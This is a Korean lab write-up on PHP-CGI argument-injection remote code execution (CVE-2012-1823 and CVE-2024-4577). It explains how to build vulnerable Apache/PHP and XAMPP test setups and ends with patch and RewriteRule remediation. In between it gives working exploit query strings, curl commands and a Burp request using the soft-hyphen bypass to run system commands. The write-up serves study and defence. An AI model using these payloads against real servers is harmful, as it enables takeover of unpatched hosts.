PHP CGI Remote Code Execution(CVE-2012-1823, CVE-2024-4577) 환경 구축 및 실습

PHP CGI Remote Code Execution(CVE-2012-1823, CVE-2024-4577) 환경 구축 및 실습

in

개요

PHP CGI Remote Code Execution(CVE-2012-1823, CVE-2024-4577) 취약점은 PHP가 php-cgi를 통한 동작 시, CGI 스크립트에 악의적인 구문을 넣어 “Argument Injection”을 수행하는 취약점입니다.

최근 Windows 환경의 Best-Fit Mapping 기능으로 CVE-2012-1823의 패치를 우회한 RCE 취약점이 발견되었습니다.

Best-Fit Mapping?
Best-Fit Mapping은 가장 유사한 다른 문자로 매핑하여 변환하는 기능으로, 유니코드 문자를 지원하지 않는 시스템에서도 최대한 유사한 문자로 표현할 수 있도록 합니다.

일반적인 PHP-CGI RCE 공격에 사용되는 패턴과 인자는 다음과 같습니다.

# url encoded
-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

# url decoded
-d allow_url_include=1 -d auto_prepend_file=php://input
# 외부의 URL로부터 파일을 읽어옵니다.
allow_url_fopen=1                   
# 외부의 파일을 incoud, includ_once, require, require_once와 같은 파일로 include 허용합니다.
allow_url_include= 1                
# HTTP Request Body로부터 데이터를 갖고와 실행합니다.
auto_prepend_file=php://input  

CVE-2012-1823 실습

해당 취약점은 PHP 5.3.12 이하 또는 5.4.2 버전 이하가 취약한 버전입니다.

# Description...
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.

vulhub 같은 도구를 이용하면 간단하지만 여기서는 직접 취약 환경을 구축해보겠습니다.

  • 실습에서는 PHP 5.4.1 버전을 사용하며 설치 파일은 아래 경로에서 다운로드합니다.
    http://php.adamharvey.name/releases/
    

Apache & PHP 5.4.1 Install

  • Debian 계열 세팅
# apache2 and apxs tools install...
apt-get install apache2 apache2-dev 

# php build dependencies
apt-get install libxml2 libxml2-dev

# php install
wget http://museum.php.net/php5/php-5.4.1.tar.gz
tar -xvzf php-5.4.1.tar.gz

# php build & install
cd php-5.4.1
./configure --with-apxs2=/usr/bin/apxs
make && make install

# 만약, 설치 시 `/root/tmp/php-5.4.1/ext/dom/node.c: In function ‘dom_canonicalization’:` 에러가 발생하면 아래와 같은 절차로 php 소스파일을 패치해준 뒤 다시 빌드합니다.
apt-get install patch
wget -O php.patch https://mail.gnome.org/archives/xml/2012-August/txtbgxGXAvz4N.txt
chmod 755 php.patch
patch -p0 < php.patch

# "/etc/apache2/conf-available/php.conf" 파일 생성후 아래 설정을 세팅합니다.
<Directory "/usr/local/bin">
  Require all granted
  Options ExecCGI
</Directory>

ScriptAlias /local-bin /usr/local/bin

<Directory "/var/www/html">
  AddHandler application/x-httpd-php5 php
  Action application/x-httpd-php5 /local-bin/php-cgi
  Options -Indexes
  Require all granted
  DirectoryIndex index.html index.php
</Directory>

# apache2 php module setting
a2enmod cgid && a2enmod actions && a2disconf serve-cgi-bin && a2enconf php
  • Redhat 계열 세팅
# apache2 and apxs tools install...
yum install -y httpd httpd-devel libxml2 libxml2-devel

# php build dependencies
yum install -y libxml2 libxml2-devel

# php install
wget http://museum.php.net/php5/php-5.4.1.tar.gz
tar -xvzf php-5.4.1.tar.gz

# php build & install
cd php-5.4.1
./configure --with-apxs2=/usr/bin/apxs
make && make install

# 만약, 설치 시 `/root/tmp/php-5.4.1/ext/dom/node.c: In function ‘dom_canonicalization’:` 에러가 발생하면 아래와 같은 절차로 php 소스파일을 패치해준 뒤 다시 빌드합니다.
cd php-5.4.1
yum install -y patch
wget -O php.patch https://mail.gnome.org/archives/xml/2012-August/txtbgxGXAvz4N.txt
chmod 755 php.patch
patch -p0 < php.patch

# "/etc/httpd.conf" 내 아래 설정 세팅
<Directory "/usr/local/bin">
  Require all granted
  Options ExecCGI
</Directory>

ScriptAlias /local-bin /usr/local/bin

<Directory "/var/www/html">
  AddHandler application/x-httpd-php5 php
  Action application/x-httpd-php5 /local-bin/php-cgi
  Options -Indexes
  Require all granted
  DirectoryIndex index.html index.php
</Directory>

# apache2 php module setting
a2enmod cgid && a2enmod actions && a2disconf serve-cgi-bin && a2enconf php
  • 이후 “/var/www/html” 내 테스트 파일을 생성 및 접근한 결과 phpinfo의 Server API가 “CGI/FastCGI”로 동작되는지 확인합니다.
    echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
    

image Server API 확인

  • 이후 php-cgi에 -s 인자를 보내서 php 소스코드가 그대로 출력되는지 확인합니다.

image -s 인자 결과 확인

실습

  • php-cgi 바이너리에 argument injection이 가능하므로 php-cgi 기능을 이용해서 RCE가 가능합니다.
  • help는 다음과 같으며 핵심적인 옵션은 -d 옵션입니다. -d 옵션의 인자로 전달하여 php 설정이 가능합니다.
    Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
         php <file> [args...]
    -a               Run interactively
    -b <address:port>|<port> Bind Path for external FASTCGI Server mode
    -C               Do not chdir to the script's directory
    -c <path>|<file> Look for php.ini file in this directory
    -n               No php.ini file will be used
    -d foo[=bar]     Define INI entry foo with value 'bar'
    -e               Generate extended information for debugger/profiler
    -f <file>        Parse <file>.  Implies `-q'
    -h               This help
    -i               PHP information
    -l               Syntax check only (lint)
    -m               Show compiled in modules
    -q               Quiet-mode.  Suppress HTTP Header output.
    -s               Display colour syntax highlighted source.
    -v               Version number
    -w               Display source with stripped comments and whitespace.
    -z <file>        Load Zend extension <file>.
    -T <count>       Measure execution time of script repeated <count> times.
    
  • RCE를 위해서는 주로 -d 인자에 아래와 같은 값들을 세팅합니다.
allow_url_fopen=1 # 외부 URL로부터 파일을 읽어오는것을 허용합니다.
allow_url_include=1 # 외부 리소스를 include, include_once, require, require_once의 함수로 include 허용합니다.
auto_prepend_file=php://input # php://input(HTTP Request Body)로부터 데이터를 추가합니다.(앞에 추가)
auto_append_file=php://input # HTTP Request Body로부터 data를 가져오고 추가합니다.(뒤에 추가)
  • 여기서는 allow_url_include와 auto_prepend_file 인자를 세팅해서 curl로 POST 요청을 보냈으며 정상적으로 uname -a 명령어 결과값이 앞에 출력됩니다.
$ curl -XPOST "192.168.174.132/test.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" -d "<?php system(\"uname -a\") ?>"

Linux dohyeon 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input<br><bar>asdaasdasd⏎
  • 아래는 BurpSuite로 접근한 결과입니다. image BurpSuite Result

CVE-2024-4577 실습

실습환경 구축

  • 해당 공격은 Windows의 Best-Fit 기능을 이용하여 하이픈(0x2D)를 소프트 하이픈(0xAD)로 우회하는 방식으로 동작하며 Windows 특정 시스템 로케일에서 동작하므로 중국어 번체 및 간체, 일본어 환경에서 수행합니다.

  • ISO 파일은 아래 마이크로소프트 공식 홈페이지를 통해서 받습니다. https://www.microsoft.com/ko-kr/software-download/windows10ISO

XAMPP(php 8.2.12) Install

GUI에서 진행되어 쉽게 설치 가능합니다.

설정파일 수정

해당 취약점 역시 Server API를 CGI/FastCGI 로 바꿔주는 과정이 필요합니다.

  • “C:\xampp\apache\conf\httpd.conf” 파일에 아래 설정을 추가합니다.
# Apache가 .php 파일을 PHP-CGI 실행 파일을 사용하여 처리하도록 설정 합니다.
ScriptAlias /php-cgi/ "C:/xampp/php/"
AddHandler application/x-httpd-php .php
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
<Directory "C:/xampp/php">
    Options +ExecCGI
    AllowOverride None
    Require all granted
</Directory>
  • “C:\xampp\apache\conf\extra\httpd-xampp.conf” 파일에 LoadModule php_module "C:/xampp/php/php8apache2_4.dll" 설정을 주석처리 합니다.

image php8apache2_4.dll 주석처리

  • 이후 “C:\xampp\htdocs”내 테스트 파일(“test.php”)을 생성합니다.
echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
  • “/test.php” 접근 결과 phpinfo의 Server API가 “CGI/FastCGI”로 동작되는지 확인합니다.
  • 해당설정이 완료되면 아래처럼 Server API가 CGI/FastCGI 로 변경된 것을 확인할 수 있습니다. image Server API 변경 확인

실습

  • 위에서 생성한 테스트 페이지 대상으로 -s 인자를 보내서 php 소스코드가 그대로 출력되는지 확인합니다.
  • ’-‘ 문자가 필터링되어 원본 소스가 노출되지 않습니다. image -s 인자 결과 확인

  • %2D(‘-‘)를 %AD로 우회하여 재요청 시 php 소스코드가 그대로 노출됩니다. image %2D -> %AD 우회 결과

  • RCE를 위해서는 주로 -d 인자에 아래와 같은 값들을 세팅합니다.
allow_url_fopen=1 # 외부 URL로부터 파일을 읽어오는것을 허용합니다.
allow_url_include=1 # 외부 리소스를 include, include_once, require, require_once의 함수로 include 허용합니다.
auto_prepend_file=php://input # php://input(HTTP Request Body)로부터 데이터를 추가합니다.(앞에 추가)
auto_append_file=php://input # HTTP Request Body로부터 data를 가져오고 추가합니다.(뒤에 추가)
  • 여기서는 allow_url_include와 auto_prepend_file 인자를 세팅해서 curl로 POST 요청을 보냈으며 정상적으로 dir 명령어 결과값이 앞에 출력됩니다.
$ curl -XPOST "10.211.55.9/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" -d "<?php system(\"dir\") ?>"
 �h���C�u C �̃{�����[�� ���x��������܂���B
 �{�����[�� �V���A���ԍ��� F624-507E �ł�

 C:\xampp\htdocs �̃f�B���N�g��

2024/08/12  09:34    <DIR>          .
2024/08/12  09:34    <DIR>          ..
2022/06/16  01:07             3,607 applications.html
2022/06/16  01:07               177 bitnami.css
2024/08/12  09:23    <DIR>          dashboard
2015/07/17  00:32            30,894 favicon.ico
2024/08/12  09:23    <DIR>          img
2015/07/17  00:32               260 index.php
2024/08/12  09:33                26 test.php
2024/08/12  09:22    <DIR>          webalizer
2024/08/12  09:23    <DIR>          xampp
               5 �‚̃t�@�C��              34,964 �o�C�g
               6 �‚̃f�B���N�g��  249,832,091,648 �o�C�g�̋󂫗̈�
echo "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
... 생략 ...
  • 아래는 BurpSuite로 접근한 결과입니다. “calc” 명령어를 실행하도록 했습니다.
POST /test.php?%ADd+allow_url_fopen%3d1+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3a%2f%2finput HTTP/1.1
Host: 10.211.55.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 23

<?php system("calc") ?>

image BurpSuite Result

  • 로컬 시스템에서 “calc” 명령어가 실행된 것을 확인할 수 있습니다. image calc 명령어 실행 확인 결과

해결책

해결책은 최신 PHP 버전 (8.3.8, 8.2.20, 8.1.29)으로 올리거나 아래처럼 RewriteRule을 추가합니다.

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

References

  • https://www.vicarius.io/vsociety/posts/php-cgi-argument-injection-to-rce-cve-2024-4577
  • https://operatingsystems.tistory.com/entry/Vul-CVE20121823-Vulnerability
  • https://serverfault.com/questions/246743/apache-how-to-switch-to-cgi-fastcgi-server-api
  • https://kkhackz.hatenablog.com/entry/2024/07/05/023542